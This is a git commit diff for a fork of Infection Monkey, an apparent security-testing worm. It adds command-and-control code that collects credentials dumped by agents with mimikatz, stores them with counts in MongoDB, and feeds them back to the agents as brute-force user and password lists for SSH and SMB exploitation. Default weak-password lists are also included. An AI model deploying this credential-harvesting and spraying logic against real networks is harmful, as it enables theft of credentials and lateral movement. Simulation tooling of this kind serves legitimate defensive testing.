forked from p15670423/monkey
Add C&C ability to share credentials found from monkeys
This commit is contained in:
parent
1e876eb597
commit
1a55c8362f
|
@ -150,11 +150,12 @@ Copyright (c) 2016 Guardicore Ltd
|
||||||
|
|
||||||
See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
|
See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
|
||||||
|
|
||||||
|
|
||||||
Dependent packages
|
Dependent packages
|
||||||
---------------------
|
---------------------
|
||||||
|
|
||||||
Dependency | License |
|
Dependency | License | Notes
|
||||||
----------------------------|----------------------------
|
----------------------------|----------------------------|----------------------------
|
||||||
libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE
|
libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE
|
||||||
PyCrypto | Public domain
|
PyCrypto | Public domain
|
||||||
upx | Custom license, http://upx.sourceforge.net/upx-license.html
|
upx | Custom license, http://upx.sourceforge.net/upx-license.html
|
||||||
|
@ -188,3 +189,4 @@ Dependency | License |
|
||||||
winbind | GPL-3
|
winbind | GPL-3
|
||||||
pyinstaller | GPL
|
pyinstaller | GPL
|
||||||
Celery | BSD
|
Celery | BSD
|
||||||
|
mimikatz | CC BY 4.0 | We use an altered version of mimikatz. Original: https://github.com/gentilkiwi/mimikatz
|
||||||
|
|
|
@ -208,8 +208,8 @@ class Configuration(object):
|
||||||
rdp_use_vbs_download = True
|
rdp_use_vbs_download = True
|
||||||
|
|
||||||
# User and password dictionaries for exploits.
|
# User and password dictionaries for exploits.
|
||||||
exploit_user_list = ['Administrator', 'root', 'user']
|
exploit_user_list = []
|
||||||
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
exploit_password_list = []
|
||||||
|
|
||||||
# smb/wmi exploiter
|
# smb/wmi exploiter
|
||||||
smb_download_timeout = 300 # timeout in seconds
|
smb_download_timeout = 300 # timeout in seconds
|
||||||
|
|
|
@ -59,8 +59,8 @@
|
||||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||||
"skip_exploit_if_file_exist": true,
|
"skip_exploit_if_file_exist": true,
|
||||||
"local_network_scan": true,
|
"local_network_scan": true,
|
||||||
"exploit_user_list": ["Administrator", "root", "user"],
|
"exploit_user_list": [],
|
||||||
"exploit_password_list" = ["Password1!", "1234", "password", "12345678"]
|
"exploit_password_list" = []
|
||||||
"tcp_scan_get_banner": true,
|
"tcp_scan_get_banner": true,
|
||||||
"tcp_scan_interval": 200,
|
"tcp_scan_interval": 200,
|
||||||
"tcp_scan_timeout": 10000,
|
"tcp_scan_timeout": 10000,
|
||||||
|
|
|
@ -46,12 +46,6 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
passwords = list(self._config.exploit_password_list[:])
|
passwords = list(self._config.exploit_password_list[:])
|
||||||
users = list(self._config.exploit_user_list)
|
users = list(self._config.exploit_user_list)
|
||||||
known_passwords = [host.get_credentials(x) for x in users]
|
|
||||||
if len(known_passwords) > 0:
|
|
||||||
for known_pass in known_passwords:
|
|
||||||
if known_pass in passwords:
|
|
||||||
passwords.remove(known_pass)
|
|
||||||
passwords.insert(0, known_pass) #try first
|
|
||||||
user_pass = product(users,passwords)
|
user_pass = product(users,passwords)
|
||||||
|
|
||||||
exploited = False
|
exploited = False
|
||||||
|
|
|
@ -233,6 +233,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path)
|
self._config.dropper_target_path)
|
||||||
|
|
||||||
|
# TODO: why are we doing this? Isn't that smbexec's job?
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
# try other passwords for administrator
|
# try other passwords for administrator
|
||||||
for password in self._config.exploit_password_list:
|
for password in self._config.exploit_password_list:
|
||||||
|
|
|
@ -88,14 +88,10 @@ class ChaosMonkey(object):
|
||||||
LOG.debug("default server: %s" % self._default_server)
|
LOG.debug("default server: %s" % self._default_server)
|
||||||
ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https'))
|
ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https'))
|
||||||
|
|
||||||
additional_creds = {}
|
|
||||||
|
|
||||||
if WormConfiguration.collect_system_info:
|
if WormConfiguration.collect_system_info:
|
||||||
LOG.debug("Calling system info collection")
|
LOG.debug("Calling system info collection")
|
||||||
system_info_collector = SystemInfoCollector()
|
system_info_collector = SystemInfoCollector()
|
||||||
system_info = system_info_collector.get_info()
|
system_info = system_info_collector.get_info()
|
||||||
if system_info.has_key('credentials'):
|
|
||||||
additional_creds = system_info['credentials']
|
|
||||||
ControlClient.send_telemetry("system_info_collection", system_info)
|
ControlClient.send_telemetry("system_info_collection", system_info)
|
||||||
|
|
||||||
if 0 == WormConfiguration.depth:
|
if 0 == WormConfiguration.depth:
|
||||||
|
@ -105,14 +101,10 @@ class ChaosMonkey(object):
|
||||||
else:
|
else:
|
||||||
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
for _ in xrange(WormConfiguration.max_iterations):
|
for _ in xrange(WormConfiguration.max_iterations):
|
||||||
ControlClient.keepalive()
|
ControlClient.keepalive()
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
|
|
||||||
self.update_config_creds(additional_creds)
|
|
||||||
|
|
||||||
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
|
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
|
||||||
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
|
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
|
||||||
|
|
||||||
|
@ -133,9 +125,6 @@ class ChaosMonkey(object):
|
||||||
if ControlClient.check_for_stop():
|
if ControlClient.check_for_stop():
|
||||||
break
|
break
|
||||||
|
|
||||||
# TODO: Consider removing later
|
|
||||||
self.update_config_creds(additional_creds)
|
|
||||||
|
|
||||||
is_empty = False
|
is_empty = False
|
||||||
for finger in self._fingerprint:
|
for finger in self._fingerprint:
|
||||||
LOG.info("Trying to get OS fingerprint from %r with module %s",
|
LOG.info("Trying to get OS fingerprint from %r with module %s",
|
||||||
|
@ -254,16 +243,4 @@ class ChaosMonkey(object):
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
LOG.error("Exception in self delete: %s", exc)
|
LOG.error("Exception in self delete: %s", exc)
|
||||||
|
|
||||||
def update_config_creds(self, additional_creds):
|
|
||||||
# TODO: this is temporary until we change server to support changing of config.
|
|
||||||
for user in list(additional_creds):
|
|
||||||
if user not in WormConfiguration.exploit_user_list:
|
|
||||||
WormConfiguration.exploit_user_list.append(user)
|
|
||||||
|
|
||||||
creds = additional_creds[user]
|
|
||||||
if creds.has_key('password'):
|
|
||||||
password = creds['password']
|
|
||||||
if password not in WormConfiguration.exploit_password_list:
|
|
||||||
WormConfiguration.exploit_password_list.append(password)
|
|
||||||
|
|
||||||
LOG.info("Monkey is shutting down")
|
LOG.info("Monkey is shutting down")
|
||||||
|
|
|
@ -43,7 +43,6 @@ class MimikatzCollector:
|
||||||
|
|
||||||
for i in range(entry_count):
|
for i in range(entry_count):
|
||||||
entry = self._get()
|
entry = self._get()
|
||||||
# TODO: Consider what to do when string can't be ascii
|
|
||||||
username = str(entry.username)
|
username = str(entry.username)
|
||||||
password = str(entry.password)
|
password = str(entry.password)
|
||||||
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
||||||
|
|
|
@ -48,6 +48,9 @@ MONKEY_DOWNLOADS = [
|
||||||
},
|
},
|
||||||
]
|
]
|
||||||
|
|
||||||
|
INITIAL_USERNAMES = ['Administrator', 'root', 'user']
|
||||||
|
INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"]
|
||||||
|
|
||||||
MONGO_URL = os.environ.get('MONGO_URL')
|
MONGO_URL = os.environ.get('MONGO_URL')
|
||||||
if not MONGO_URL:
|
if not MONGO_URL:
|
||||||
MONGO_URL = "mongodb://localhost:27017/monkeyisland"
|
MONGO_URL = "mongodb://localhost:27017/monkeyisland"
|
||||||
|
@ -65,7 +68,12 @@ class Monkey(restful.Resource):
|
||||||
timestamp = request.args.get('timestamp')
|
timestamp = request.args.get('timestamp')
|
||||||
|
|
||||||
if guid:
|
if guid:
|
||||||
return mongo.db.monkey.find_one_or_404({"guid": guid})
|
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||||
|
monkey_json['config']['exploit_user_list'] = \
|
||||||
|
map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)]))
|
||||||
|
monkey_json['config']['exploit_password_list'] = \
|
||||||
|
map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)]))
|
||||||
|
return monkey_json
|
||||||
else:
|
else:
|
||||||
result = {'timestamp': datetime.now().isoformat()}
|
result = {'timestamp': datetime.now().isoformat()}
|
||||||
find_filter = {}
|
find_filter = {}
|
||||||
|
@ -195,6 +203,18 @@ class Telemetry(restful.Resource):
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# Update credentials DB
|
||||||
|
try:
|
||||||
|
if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')):
|
||||||
|
creds = telemetry_json['data']['credentials']
|
||||||
|
for user in creds:
|
||||||
|
creds_add_username(user)
|
||||||
|
|
||||||
|
if creds[user].has_key('password'):
|
||||||
|
creds_add_password(creds[user]['password'])
|
||||||
|
except StandardError as ex:
|
||||||
|
print("Exception caught while updating DB credentials: %s" % str(ex))
|
||||||
|
|
||||||
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
||||||
|
|
||||||
|
|
||||||
|
@ -259,6 +279,9 @@ class Root(restful.Resource):
|
||||||
mongo.db.config.drop()
|
mongo.db.config.drop()
|
||||||
mongo.db.monkey.drop()
|
mongo.db.monkey.drop()
|
||||||
mongo.db.telemetry.drop()
|
mongo.db.telemetry.drop()
|
||||||
|
mongo.db.usernames.drop()
|
||||||
|
mongo.db.passwords.drop()
|
||||||
|
init_db()
|
||||||
return {
|
return {
|
||||||
'status': 'OK',
|
'status': 'OK',
|
||||||
}
|
}
|
||||||
|
@ -347,13 +370,25 @@ def run_local_monkey(island_address):
|
||||||
|
|
||||||
return (True, "pis: %s" % pid)
|
return (True, "pis: %s" % pid)
|
||||||
|
|
||||||
|
def creds_add_username(username):
|
||||||
|
mongo.db.usernames.update(
|
||||||
|
{'username': username},
|
||||||
|
{'$inc': {'count': 1}},
|
||||||
|
upsert=True
|
||||||
|
)
|
||||||
|
|
||||||
|
def creds_add_password(password):
|
||||||
|
mongo.db.passwords.update(
|
||||||
|
{'password': password},
|
||||||
|
{'$inc': {'count': 1}},
|
||||||
|
upsert=True
|
||||||
|
)
|
||||||
|
|
||||||
### Local ips function
|
### Local ips function
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
def local_ips():
|
def local_ips():
|
||||||
local_hostname = socket.gethostname()
|
local_hostname = socket.gethostname()
|
||||||
return socket.gethostbyname_ex(local_hostname)[2]
|
return socket.gethostbyname_ex(local_hostname)[2]
|
||||||
|
|
||||||
else:
|
else:
|
||||||
import fcntl
|
import fcntl
|
||||||
def local_ips():
|
def local_ips():
|
||||||
|
@ -398,6 +433,17 @@ def send_to_default():
|
||||||
return redirect('/admin/index.html')
|
return redirect('/admin/index.html')
|
||||||
|
|
||||||
|
|
||||||
|
def init_db():
|
||||||
|
if not "usernames" in mongo.db.collection_names():
|
||||||
|
mongo.db.usernames.create_index([( "username", 1 )], unique= True)
|
||||||
|
for username in INITIAL_USERNAMES:
|
||||||
|
creds_add_username(username)
|
||||||
|
|
||||||
|
if not "passwords" in mongo.db.collection_names():
|
||||||
|
mongo.db.passwords.create_index([( "password", 1 )], unique= True)
|
||||||
|
for password in INITIAL_PASSWORDS:
|
||||||
|
creds_add_password(password)
|
||||||
|
|
||||||
DEFAULT_REPRESENTATIONS = {'application/json': output_json}
|
DEFAULT_REPRESENTATIONS = {'application/json': output_json}
|
||||||
api = restful.Api(app)
|
api = restful.Api(app)
|
||||||
api.representations = DEFAULT_REPRESENTATIONS
|
api.representations = DEFAULT_REPRESENTATIONS
|
||||||
|
@ -414,6 +460,8 @@ if __name__ == '__main__':
|
||||||
from tornado.httpserver import HTTPServer
|
from tornado.httpserver import HTTPServer
|
||||||
from tornado.ioloop import IOLoop
|
from tornado.ioloop import IOLoop
|
||||||
|
|
||||||
|
with app.app_context():
|
||||||
|
init_db()
|
||||||
http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'})
|
http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'})
|
||||||
http_server.listen(ISLAND_PORT)
|
http_server.listen(ISLAND_PORT)
|
||||||
IOLoop.instance().start()
|
IOLoop.instance().start()
|
||||||
|
|
Loading…
Reference in New Issue